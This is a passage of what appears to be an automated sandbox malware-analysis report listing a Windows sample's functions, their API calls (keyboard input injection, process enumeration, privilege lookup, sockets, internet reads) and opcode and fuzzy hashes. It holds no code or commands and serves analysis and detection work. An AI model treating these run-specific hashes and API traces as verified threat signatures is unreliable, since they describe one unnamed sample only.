Opcode Fuzzy Hash: b721f5f74a25db22aa362cc5874b4073eb546fce439c3afa0f5cb177f08a90e1
Instruction Fuzzy Hash: F6511B74900209EFDB14DF58D8809FE7BF5EB55360F1086A9F91597290DBB4ED41CB90

Function 00BA1AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00BA1AFD
WSAGetLastError.WSOCK32 ref: 00BA1B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00BA1B8A
WSAGetLastError.WSOCK32 ref: 00BA1B94

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 7ee7e71b8a331edcacdf2148ed84cb0b03818ca3026d757381f8d43bdac57a3a
Instruction ID: c47f5764c77cde42ba5fe5952c80cbd8bfaad14a8a2dfc0977c7a590a9873281
Opcode Fuzzy Hash: 7ee7e71b8a331edcacdf2148ed84cb0b03818ca3026d757381f8d43bdac57a3a
Instruction Fuzzy Hash: 8541B234640210AFE720EF24D886F6977E5EF49718F548488F91A9F7D2DB72DD418B90

Function 00B5B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1fdb02bf283e8f951a7e44e4e727eee84584a9be5c42bb0f7816f73af6ebe34
Instruction ID: 22f71daf4c8e7a5a2aa85f86fdc99032c82c1095f1221993482c76454407e74d
Opcode Fuzzy Hash: e1fdb02bf283e8f951a7e44e4e727eee84584a9be5c42bb0f7816f73af6ebe34
Instruction Fuzzy Hash: E4410672A00314AFD7249F38CC41F6ABBE9EB88711F2045EEF951DB382D77199058B80

Function 00B956D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00B95783
GetLastError.KERNEL32(?,00000000), ref: 00B957A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00B957CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00B957FA

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: b4392bc3ae275442a637f25834fde030f9f5f97608f8ef72e650dc0df1955460
Instruction ID: e4de8423afb4039bde635c101f54998e269c59c72a1f94a6cb4c1f064a54315b
Opcode Fuzzy Hash: b4392bc3ae275442a637f25834fde030f9f5f97608f8ef72e650dc0df1955460
Instruction Fuzzy Hash: 68412D35600610DFCB11EF55D594A5EBBE1EF99320B18C4D8E84A6B362CB34FD00CB95

Function 00B5D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00B46D71,00000000,00000000,00B482D9,?,00B482D9,?,00000001,00B46D71,8BE85006,00000001,00B482D9,00B482D9), ref: 00B5D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B5D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00B5D9AB
__freea.LIBCMT ref: 00B5D9B4

Part of subcall function 00B53820: RtlAllocateHeap.NTDLL(00000000,?,00BF1444,?,00B3FDF5,?,?,00B2A976,00000010,00BF1440,00B213FC,?,00B213C6,?,00B21129), ref: 00B53852

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 621ad183bd8b419b5816bc652898808718700570c3e0d12cef09c49cece6f3d2
Instruction ID: cdc30b0820d69ceea78ba2ad2e12e7c3626e3e115bffcccb09d97b61f7824f2b
Opcode Fuzzy Hash: 621ad183bd8b419b5816bc652898808718700570c3e0d12cef09c49cece6f3d2
Instruction Fuzzy Hash: 7431AD72A0020AABDF24DF64DC85EAE7BE5EB41711B0542E8FC04E7251EB35CD58CBA0

Function 00BB52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00BB5352
GetWindowLongW.USER32(?,000000F0), ref: 00BB5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BB5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00BB53A8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 4c3418a6949128e5cbe8b3228ca77df24aef751d88f3731d555c6ca5d07fb3bb
Instruction ID: dd12fd111dc8657996a23184f25db4b8b2936a8930b96859d558291b8fbd97c5
Opcode Fuzzy Hash: 4c3418a6949128e5cbe8b3228ca77df24aef751d88f3731d555c6ca5d07fb3bb
Instruction Fuzzy Hash: B4319E34A55A08EFEB309A14CC56BF877E5EB05390F584182BA12973E1C7F5A980DB4B

Function 00B8AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00B8ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00B8AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00B8AC74
SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00B8ACC6

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 98a8b45af8a5681dc00434ca44f5f9dffe78de61dc17d6589e58b61b0e4ab017
Instruction ID: 38d89b51a71bf1a7895f31494d50a029ca171e9dc6d0557c50427d9f7c956af7
Opcode Fuzzy Hash: 98a8b45af8a5681dc00434ca44f5f9dffe78de61dc17d6589e58b61b0e4ab017
Instruction Fuzzy Hash: 8B310370A00618AFFF24EA698C04BFA7BE5EB89310F08439BE481921E0C3759985CB52

Function 00BB7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00BB769A
GetWindowRect.USER32(?,?), ref: 00BB7710
PtInRect.USER32(?,?,00BB8B89), ref: 00BB7720
MessageBeep.USER32(00000000), ref: 00BB778C

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 27c06ebad4a671a563a574c9f4ae5be584267815b1718c114ed31f6556c76429
Instruction ID: 737c6dce17ed7137b739016154dea226c482063181209f1c78970a45d84447fd
Opcode Fuzzy Hash: 27c06ebad4a671a563a574c9f4ae5be584267815b1718c114ed31f6556c76429
Instruction Fuzzy Hash: 1C416834A49214DFCB12CF5AC894EB97BF4FB88300F1585E8E4259B261CFB0AD42CB90

Function 00BB16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00BB16EB

Part of subcall function 00B83A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B83A57
Part of subcall function 00B83A3D: GetCurrentThreadId.KERNEL32 ref: 00B83A5E
Part of subcall function 00B83A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B825B3), ref: 00B83A65

GetCaretPos.USER32(?), ref: 00BB16FF
ClientToScreen.USER32(00000000,?), ref: 00BB174C
GetForegroundWindow.USER32 ref: 00BB1752

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 9e1dc3c744508119d88b333589d1fc61c16f7344ba02cf604fbcee3418166aa5
Instruction ID: 3f38048592ff44579ee11fc3e894e5b9b21ca9b99577319da514eff39023a25f
Opcode Fuzzy Hash: 9e1dc3c744508119d88b333589d1fc61c16f7344ba02cf604fbcee3418166aa5
Instruction Fuzzy Hash: 3A3152B1D00159AFC704EFAAD881DEEBBF9EF48304B5080A9E419E7211DB71DE45CBA0

Function 00B8D4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00B8D501
Process32FirstW.KERNEL32(00000000,?), ref: 00B8D50F
Process32NextW.KERNEL32(00000000,?), ref: 00B8D52F
CloseHandle.KERNEL32(00000000), ref: 00B8D5DC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2b19629de2ddbfaf40774961e36c6c12195b1b0f89793fff6571d64ae32d350a
Instruction ID: 50d344f7c69e900f8cded4c056d6875962880d4a5815d0cacda8370647470895
Opcode Fuzzy Hash: 2b19629de2ddbfaf40774961e36c6c12195b1b0f89793fff6571d64ae32d350a
Instruction Fuzzy Hash: 6731B1711083009FD300EF54D881AAFBBF8EF99354F54096EF589971A1EB71D948CBA2

Function 00BB8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

GetCursorPos.USER32(?), ref: 00BB9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00B77711,?,?,?,?,?), ref: 00BB9016
GetCursorPos.USER32(?), ref: 00BB905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00B77711,?,?,?), ref: 00BB9094

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 19fdf42f10358c7a41d9f74a84a404568839711141f6da80958dbe72b6a2a36b
Instruction ID: 09ef66112ba4ca53210ac65af05e2f48f1dec07b8209f3a833bd81a617de67ba
Opcode Fuzzy Hash: 19fdf42f10358c7a41d9f74a84a404568839711141f6da80958dbe72b6a2a36b
Instruction Fuzzy Hash: 2C21BF31600018EFCB25DF98C898EFA7BF9EB4A350F504595FA0547261C7B19950DB60

Function 00B8D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00BBCB68), ref: 00B8D2FB
GetLastError.KERNEL32 ref: 00B8D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00B8D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00BBCB68), ref: 00B8D376

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 45a49062686d8116602e4bc4ca3cfaebe3ea4128cbe4d78409800fa7a275ecf7
Instruction ID: eb8a9d0081d2158573288c2b63a2c18f9f80e5172917d48c3057c8dc17939db4
Opcode Fuzzy Hash: 45a49062686d8116602e4bc4ca3cfaebe3ea4128cbe4d78409800fa7a275ecf7
Instruction Fuzzy Hash: 7C21A1705083019F8710EF28D8818AEBBE4EE5A364F504A9EF499C72F1DB30D945CB97

Function 00B81571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B81014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B8102A
Part of subcall function 00B81014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B81036
Part of subcall function 00B81014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B81045
Part of subcall function 00B81014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B8104C
Part of subcall function 00B81014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B81062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00B815BE
_memcmp.LIBVCRUNTIME ref: 00B815E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B81617
HeapFree.KERNEL32(00000000), ref: 00B8161E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 6c9e6ddc2a2097e1ed3f602e3bc1b1dbd576f8a7c58c0cb04ea69aeccfb9eecb
Instruction ID: d35346c43e2f9eaa54cded30604e3efed2132d619a7e5d0d3af2f72518aa4bed
Opcode Fuzzy Hash: 6c9e6ddc2a2097e1ed3f602e3bc1b1dbd576f8a7c58c0cb04ea69aeccfb9eecb
Instruction Fuzzy Hash: BF217A71E01109EFDB00EFA8C945BEEB7F8FF44344F184899E441AB251E770AA06CBA0

Function 00BB2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00BB280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BB2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BB2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00BB2840

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: df245711144b00abbf3409b35e3058d23b7ccf1bb6a3ec48a81172a58ca86376
Instruction ID: 56006bf40a41a690bf7cfe5fce6bed2ebd7ede583e649e8238da4a4a63f7a8cd
Opcode Fuzzy Hash: df245711144b00abbf3409b35e3058d23b7ccf1bb6a3ec48a81172a58ca86376
Instruction Fuzzy Hash: 0E219031205511AFD714DB24DC55FBA7BD9EF59324F148298F42A8B6A2CBB1FC42C790

Function 00B9CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00B9CE89
GetLastError.KERNEL32(?,00000000), ref: 00B9CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00B9CEFE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: bf03075ceecfb0834a89dba3dbe9fd88e6683ed324a3ed66dcaeece18326eafc
Instruction ID: ef33a67f0d2462d4b7993d2f7ffd195fa9cd4767ee5e1ee2a55a1dfaa1355c0d
Opcode Fuzzy Hash: bf03075ceecfb0834a89dba3dbe9fd88e6683ed324a3ed66dcaeece18326eafc
Instruction Fuzzy Hash: 30219D71500B05ABDB20DF65C988BA67FF8EB50354F1044AEE546D3151EB70EE089B64

Function 00B878F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B88D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00B8790A,?,000000FF,?,00B88754,00000000,?,0000001C,?,?), ref: 00B88D8C
Part of subcall function 00B88D7D: lstrcpyW.KERNEL32(00000000,?,?,00B8790A,?,000000FF,?,00B88754,00000000,?,0000001C,?,?,00000000), ref: 00B88DB2
Part of subcall function 00B88D7D: lstrcmpiW.KERNEL32(00000000,?,00B8790A,?,000000FF,?,00B88754,00000000,?,0000001C,?,?), ref: 00B88DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00B88754,00000000,?,0000001C,?,?,00000000), ref: 00B87923
lstrcpyW.KERNEL32(00000000,?,?,00B88754,00000000,?,0000001C,?,?,00000000), ref: 00B87949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00B88754,00000000,?,0000001C,?,?,00000000), ref: 00B87984

Strings

cdecl, xrefs: 00B8797B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 2c0c654841d53a351bc626c46e6cf9a951bc599865f7f4d6570def6dfe3ee991
Instruction ID: 2c5fffd6fcd85edd6971026d53a22041d73e978a1ec43320450142950769a8fd
Opcode Fuzzy Hash: 2c0c654841d53a351bc626c46e6cf9a951bc599865f7f4d6570def6dfe3ee991
Instruction Fuzzy Hash: 7E11063A200202BBCB15AF39C844D7A77E9FF45394B60406AF842C7274EF71D801C751

Function 00BB7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00BB7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00BB7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00BB7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00B9B7AD,00000000), ref: 00BB7D6B

Part of subcall function 00B39BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00B39BB2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: fb9bf155ab8110f4206de021bf290dd388c9c5670c63f5ca96a7b214ac1ff1d7
Instruction ID: f0a9b7db330ac859f883a7b532da84ce1dfe35db52f64f800a125c9e7cbff9cf
Opcode Fuzzy Hash: fb9bf155ab8110f4206de021bf290dd388c9c5670c63f5ca96a7b214ac1ff1d7
Instruction Fuzzy Hash: 3C1193715446159FCB109F28CC04AB63BE5EF853A0B258764F835D71F0DBB19951CB50

Function 00BB5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00BB56BB
_wcslen.LIBCMT ref: 00BB56CD
_wcslen.LIBCMT ref: 00BB56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00BB5816

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
